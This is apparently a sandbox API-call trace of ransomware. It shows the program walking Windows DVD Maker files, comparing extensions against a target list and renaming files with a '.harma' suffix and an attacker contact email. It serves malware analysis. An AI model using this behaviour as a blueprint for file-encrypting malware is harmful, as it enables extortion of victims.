lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0065.473] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationLeft_SelectionSubpicture.png") returned 89 [0065.473] lstrlenW (lpString=".zip") returned 4 [0065.473] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0065.473] lstrlenW (lpString=".rar") returned 4 [0065.473] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0065.473] lstrlenW (lpString=".bz2") returned 4 [0065.473] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0065.473] lstrlenW (lpString=".7z") returned 3 [0065.473] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0065.473] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationLeft_SelectionSubpicture.png") returned 89 [0065.473] lstrlenW (lpString=".dbf") returned 4 [0065.473] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0065.473] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationLeft_SelectionSubpicture.png") returned 89 [0065.473] lstrlenW (lpString=".1cd") returned 4 [0065.473] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0065.473] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationLeft_SelectionSubpicture.png") returned 89 [0065.473] lstrlenW (lpString=".jpg") returned 4 [0065.473] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0065.474] lstrcmpiW (lpString1=".png", lpString2=".harma") returned 1 [0065.474] lstrlenW (lpString="Pets_btn-previous-over-select.png") returned 33 [0065.474] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-previous-over-select.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_btn-previous-over-select.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0065.652] GetFileSizeEx (in: hFile=0x21c, lpFileSize=0x2c8ff1c | out: lpFileSize=0x2c8ff1c*=3016) returned 1 [0065.652] CloseHandle (hObject=0x21c) returned 1 [0065.652] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-previous-over-select.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_btn-previous-over-select.png")) returned 0x20 [0065.652] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-previous-over-select.png.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_btn-previous-over-select.png.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0065.652] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-previous-over-select.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_btn-previous-over-select.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0065.652] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-previous-over-select.png") returned 82 [0065.652] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-previous-over-select.png") returned 82 [0065.652] lstrlenW (lpString=".doc") returned 4 [0065.652] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0065.652] lstrlenW (lpString=".docx") returned 5 [0065.652] lstrcmpiW (lpString1=".docx", lpString2="t.png") returned -1 [0065.652] lstrlenW (lpString=".pdf") returned 4 [0065.652] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0065.652] lstrlenW (lpString=".xls") returned 4 [0065.652] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0065.652] lstrlenW (lpString=".xlsx") returned 5 [0065.652] lstrcmpiW (lpString1=".xlsx", lpString2="t.png") returned -1 [0065.653] lstrlenW (lpString=".ppt") returned 4 [0065.653] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0065.653] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-previous-over-select.png") returned 82 [0065.653] lstrlenW (lpString=".zip") returned 4 [0065.653] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0065.653] lstrlenW (lpString=".rar") returned 4 [0065.653] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0065.653] lstrlenW (lpString=".bz2") returned 4 [0065.653] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0065.653] lstrlenW (lpString=".7z") returned 3 [0065.653] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0065.653] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-previous-over-select.png") returned 82 [0065.653] lstrlenW (lpString=".dbf") returned 4 [0065.653] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0065.653] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-previous-over-select.png") returned 82 [0065.653] lstrlenW (lpString=".1cd") returned 4 [0065.653] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0065.653] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-previous-over-select.png") returned 82 [0065.653] lstrlenW (lpString=".jpg") returned 4 [0065.653] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0065.653] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-previous-over-select.png") returned 82 [0065.653] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-previous-over-select.png") returned 82 [0065.653] lstrlenW (lpString=".doc") returned 4 [0065.653] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0065.653] lstrlenW (lpString=".docx") returned 5 [0065.653] lstrcmpiW (lpString1=".docx", lpString2="t.png") returned -1 [0065.653] lstrlenW (lpString=".pdf") returned 4 [0065.653] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0065.653] lstrlenW (lpString=".xls") returned 4 [0065.653] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0065.653] lstrlenW (lpString=".xlsx") returned 5 [0065.653] lstrcmpiW (lpString1=".xlsx", lpString2="t.png") returned -1 [0065.654] lstrlenW (lpString=".ppt") returned 4 [0065.654] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0065.654] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-previous-over-select.png") returned 82 [0065.654] lstrlenW (lpString=".zip") returned 4 [0065.654] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0065.654] lstrlenW (lpString=".rar") returned 4 [0065.654] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0065.654] lstrlenW (lpString=".bz2") returned 4 [0065.654] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0065.654] lstrlenW (lpString=".7z") returned 3 [0065.654] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0065.654] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-previous-over-select.png") returned 82 [0065.654] lstrlenW (lpString=".dbf") returned 4 [0065.654] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0065.654] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-previous-over-select.png") returned 82 [0065.654] lstrlenW (lpString=".1cd") returned 4 [0065.654] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0065.654] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-previous-over-select.png") returned 82 [0065.654] lstrlenW (lpString=".jpg") returned 4 [0065.654] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0065.654] lstrcmpiW (lpString1=".wmv", lpString2=".harma") returned 1 [0065.654] lstrlenW (lpString="SportsScenesBackground_PAL.wmv") returned 30 [0065.654] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsScenesBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsscenesbackground_pal.wmv"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0065.760] GetFileSizeEx (in: hFile=0x214, lpFileSize=0x2c8ff1c | out: lpFileSize=0x2c8ff1c*=3037684) returned 1 [0065.760] CloseHandle (hObject=0x214) returned 1 [0065.760] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsScenesBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsscenesbackground_pal.wmv")) returned 0x20 [0065.760] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsScenesBackground_PAL.wmv.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsscenesbackground_pal.wmv.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0065.760] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsScenesBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsscenesbackground_pal.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsScenesBackground_PAL.wmv.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsscenesbackground_pal.wmv.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0 [0065.760] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsScenesBackground_PAL.wmv") returned 81 [0065.760] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsScenesBackground_PAL.wmv") returned 81 [0065.761] lstrlenW (lpString=".doc") returned 4 [0065.761] lstrcmpiW (lpString1=".doc", lpString2=".wmv") returned -1 [0065.761] lstrlenW (lpString=".docx") returned 5 [0065.761] lstrcmpiW (lpString1=".docx", lpString2="L.wmv") returned -1 [0065.761] lstrlenW (lpString=".pdf") returned 4 [0065.761] lstrcmpiW (lpString1=".pdf", lpString2=".wmv") returned -1 [0065.761] lstrlenW (lpString=".xls") returned 4 [0065.761] lstrcmpiW (lpString1=".xls", lpString2=".wmv") returned 1 [0065.761] lstrlenW (lpString=".xlsx") returned 5 [0065.761] lstrcmpiW (lpString1=".xlsx", lpString2="L.wmv") returned -1 [0065.761] lstrlenW (lpString=".ppt") returned 4 [0065.761] lstrcmpiW (lpString1=".ppt", lpString2=".wmv") returned -1 [0065.761] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsScenesBackground_PAL.wmv") returned 81 [0065.761] lstrlenW (lpString=".zip") returned 4 [0065.761] lstrcmpiW (lpString1=".zip", lpString2=".wmv") returned 1 [0065.761] lstrlenW (lpString=".rar") returned 4 [0065.761] lstrcmpiW (lpString1=".rar", lpString2=".wmv") returned -1 [0065.761] lstrlenW (lpString=".bz2") returned 4 [0065.761] lstrcmpiW (lpString1=".bz2", lpString2=".wmv") returned -1 [0065.761] lstrlenW (lpString=".7z") returned 3 [0065.761] lstrcmpiW (lpString1=".7z", lpString2="wmv") returned -1 [0065.761] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsScenesBackground_PAL.wmv") returned 81 [0065.761] lstrlenW (lpString=".dbf") returned 4 [0065.761] lstrcmpiW (lpString1=".dbf", lpString2=".wmv") returned -1 [0065.761] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsScenesBackground_PAL.wmv") returned 81 [0065.761] lstrlenW (lpString=".1cd") returned 4 [0065.761] lstrcmpiW (lpString1=".1cd", lpString2=".wmv") returned -1 [0065.761] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsScenesBackground_PAL.wmv") returned 81 [0065.761] lstrlenW (lpString=".jpg") returned 4 [0065.761] lstrcmpiW (lpString1=".jpg", lpString2=".wmv") returned -1 [0065.762] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsScenesBackground_PAL.wmv") returned 81 [0065.762] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsScenesBackground_PAL.wmv") returned 81 [0065.762] lstrlenW (lpString=".doc") returned 4 [0065.762] lstrcmpiW (lpString1=".doc", lpString2=".wmv") returned -1 [0065.762] lstrlenW (lpString=".docx") returned 5 [0065.762] lstrcmpiW (lpString1=".docx", lpString2="L.wmv") returned -1 [0065.762] lstrlenW (lpString=".pdf") returned 4 [0065.762] lstrcmpiW (lpString1=".pdf", lpString2=".wmv") returned -1 [0065.762] lstrlenW (lpString=".xls") returned 4 [0065.762] lstrcmpiW (lpString1=".xls", lpString2=".wmv") returned 1 [0065.762] lstrlenW (lpString=".xlsx") returned 5 [0065.762] lstrcmpiW (lpString1=".xlsx", lpString2="L.wmv") returned -1 [0065.762] lstrlenW (lpString=".ppt") returned 4 [0065.762] lstrcmpiW (lpString1=".ppt", lpString2=".wmv") returned -1 [0065.762] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsScenesBackground_PAL.wmv") returned 81 [0065.762] lstrlenW (lpString=".zip") returned 4 [0065.762] lstrcmpiW (lpString1=".zip", lpString2=".wmv") returned 1 [0065.762] lstrlenW (lpString=".rar") returned 4 [0065.762] lstrcmpiW (lpString1=".rar", lpString2=".wmv") returned -1 [0065.762] lstrlenW (lpString=".bz2") returned 4 [0065.762] lstrcmpiW (lpString1=".bz2", lpString2=".wmv") returned -1 [0065.762] lstrlenW (lpString=".7z") returned 3 [0065.762] lstrcmpiW (lpString1=".7z", lpString2="wmv") returned -1 [0065.762] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsScenesBackground_PAL.wmv") returned 81 [0065.762] lstrlenW (lpString=".dbf") returned 4 [0065.762] lstrcmpiW (lpString1=".dbf", lpString2=".wmv") returned -1 [0065.762] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsScenesBackground_PAL.wmv") returned 81 [0065.762] lstrlenW (lpString=".1cd") returned 4 [0065.762] lstrcmpiW (lpString1=".1cd", lpString2=".wmv") returned -1 [0065.762] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsScenesBackground_PAL.wmv") returned 81 [0065.763] lstrlenW (lpString=".jpg") returned 4 [0065.763] lstrcmpiW (lpString1=".jpg", lpString2=".wmv") returned -1 [0065.763] lstrcmpiW (lpString1=".png", lpString2=".harma") returned 1 [0065.763] lstrlenW (lpString="1047x576black.png") returned 17 [0065.763] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\1047x576black.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\1047x576black.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0065.764] GetFileSizeEx (in: hFile=0x214, lpFileSize=0x2c8ff1c | out: lpFileSize=0x2c8ff1c*=4570) returned 1 [0065.764] CloseHandle (hObject=0x214) returned 1 [0065.764] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\1047x576black.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\1047x576black.png")) returned 0x20 [0065.764] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\1047x576black.png.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\1047x576black.png.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0065.764] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\1047x576black.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\1047x576black.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0065.764] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\1047x576black.png") returned 70 [0065.764] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\1047x576black.png") returned 70 [0065.764] lstrlenW (lpString=".doc") returned 4 [0065.764] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0065.764] lstrlenW (lpString=".docx") returned 5 [0065.764] lstrcmpiW (lpString1=".docx", lpString2="k.png") returned -1 [0065.764] lstrlenW (lpString=".pdf") returned 4 [0065.764] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0065.765] lstrlenW (lpString=".xls") returned 4 [0065.765] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0065.765] lstrlenW (lpString=".xlsx") returned 5 [0065.765] lstrcmpiW (lpString1=".xlsx", lpString2="k.png") returned -1 [0065.765] lstrlenW (lpString=".ppt") returned 4 [0065.765] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0065.765] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\1047x576black.png") returned 70 [0065.765] lstrlenW (lpString=".zip") returned 4 [0065.765] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0065.765] lstrlenW (lpString=".rar") returned 4 [0065.765] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0065.765] lstrlenW (lpString=".bz2") returned 4 [0065.765] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0065.765] lstrlenW (lpString=".7z") returned 3 [0065.765] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0065.765] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\1047x576black.png") returned 70 [0065.765] lstrlenW (lpString=".dbf") returned 4 [0065.765] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0065.765] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\1047x576black.png") returned 70 [0065.765] lstrlenW (lpString=".1cd") returned 4 [0065.765] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0065.765] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\1047x576black.png") returned 70 [0065.765] lstrlenW (lpString=".jpg") returned 4 [0065.765] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0065.765] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\1047x576black.png") returned 70 [0065.765] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\1047x576black.png") returned 70 [0065.765] lstrlenW (lpString=".doc") returned 4 [0065.765] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0065.766] lstrlenW (lpString=".docx") returned 5 [0065.766] lstrcmpiW (lpString1=".docx", lpString2="k.png") returned -1 [0065.766] lstrlenW (lpString=".pdf") returned 4 [0065.766] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0065.766] lstrlenW (lpString=".xls") returned 4 [0065.766] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0065.766] lstrlenW (lpString=".xlsx") returned 5 [0065.766] lstrcmpiW (lpString1=".xlsx", lpString2="k.png") returned -1 [0065.766] lstrlenW (lpString=".ppt") returned 4 [0065.766] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0065.766] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\1047x576black.png") returned 70 [0065.766] lstrlenW (lpString=".zip") returned 4 [0065.766] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0065.766] lstrlenW (lpString=".rar") returned 4 [0065.766] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0065.766] lstrlenW (lpString=".bz2") returned 4 [0065.766] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0065.766] lstrlenW (lpString=".7z") returned 3 [0065.766] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0065.766] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\1047x576black.png") returned 70 [0065.766] lstrlenW (lpString=".dbf") returned 4 [0065.766] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0065.766] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\1047x576black.png") returned 70 [0065.766] lstrlenW (lpString=".1cd") returned 4 [0065.766] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0065.766] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\1047x576black.png") returned 70 [0065.766] lstrlenW (lpString=".jpg") returned 4 [0065.766] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0065.767] lstrcmpiW (lpString1=".png", lpString2=".harma") returned 1 [0065.767] lstrlenW (lpString="1047x576_91n92.png") returned 18 [0065.767] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\1047x576_91n92.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\1047x576_91n92.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0065.767] GetFileSizeEx (in: hFile=0x214, lpFileSize=0x2c8ff1c | out: lpFileSize=0x2c8ff1c*=6440) returned 1 [0065.767] CloseHandle (hObject=0x214) returned 1 [0065.767] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\1047x576_91n92.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\1047x576_91n92.png")) returned 0x20 [0065.767] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\1047x576_91n92.png.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\1047x576_91n92.png.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0065.767] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\1047x576_91n92.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\1047x576_91n92.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0065.767] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\1047x576_91n92.png") returned 71 [0065.767] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\1047x576_91n92.png") returned 71 [0065.767] lstrlenW (lpString=".doc") returned 4 [0065.767] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0065.767] lstrlenW (lpString=".docx") returned 5 [0065.767] lstrcmpiW (lpString1=".docx", lpString2="2.png") returned -1 [0065.767] lstrlenW (lpString=".pdf") returned 4 [0065.767] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0065.768] lstrlenW (lpString=".xls") returned 4 [0065.768] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0065.768] lstrlenW (lpString=".xlsx") returned 5 [0065.768] lstrcmpiW (lpString1=".xlsx", lpString2="2.png") returned -1 [0065.768] lstrlenW (lpString=".ppt") returned 4 [0065.768] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0065.768] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\1047x576_91n92.png") returned 71 [0065.768] lstrlenW (lpString=".zip") returned 4 [0065.768] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0065.768] lstrlenW (lpString=".rar") returned 4 [0065.768] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0065.768] lstrlenW (lpString=".bz2") returned 4 [0065.768] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0065.768] lstrlenW (lpString=".7z") returned 3 [0065.768] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0065.768] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\1047x576_91n92.png") returned 71 [0065.768] lstrlenW (lpString=".dbf") returned 4 [0065.768] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0065.768] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\1047x576_91n92.png") returned 71 [0065.768] lstrlenW (lpString=".1cd") returned 4 [0065.768] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0065.768] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\1047x576_91n92.png") returned 71 [0065.768] lstrlenW (lpString=".jpg") returned 4 [0065.768] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0065.768] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\1047x576_91n92.png") returned 71 [0065.768] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\1047x576_91n92.png") returned 71 [0065.768] lstrlenW (lpString=".doc") returned 4 [0065.768] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0065.768] lstrlenW (lpString=".docx") returned 5 [0065.768] lstrcmpiW (lpString1=".docx", lpString2="2.png") returned -1 [0065.769] lstrlenW (lpString=".pdf") returned 4 [0065.769] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0065.769] lstrlenW (lpString=".xls") returned 4 [0065.769] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0065.769] lstrlenW (lpString=".xlsx") returned 5 [0065.769] lstrcmpiW (lpString1=".xlsx", lpString2="2.png") returned -1 [0065.769] lstrlenW (lpString=".ppt") returned 4 [0065.769] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0065.769] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\1047x576_91n92.png") returned 71 [0065.769] lstrlenW (lpString=".zip") returned 4 [0065.769] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0065.769] lstrlenW (lpString=".rar") returned 4 [0065.769] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0065.769] lstrlenW (lpString=".bz2") returned 4 [0065.769] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0065.769] lstrlenW (lpString=".7z") returned 3 [0065.769] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0065.769] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\1047x576_91n92.png") returned 71 [0065.769] lstrlenW (lpString=".dbf") returned 4 [0065.769] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0065.769] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\1047x576_91n92.png") returned 71 [0065.769] lstrlenW (lpString=".1cd") returned 4 [0065.769] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0065.769] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\1047x576_91n92.png") returned 71 [0065.769] lstrlenW (lpString=".jpg") returned 4 [0065.769] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0065.770] lstrcmpiW (lpString1=".png", lpString2=".harma") returned 1 [0065.770] lstrlenW (lpString="15x15dot.png") returned 12 [0065.770] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\15x15dot.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\15x15dot.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0065.770] GetFileSizeEx (in: hFile=0x214, 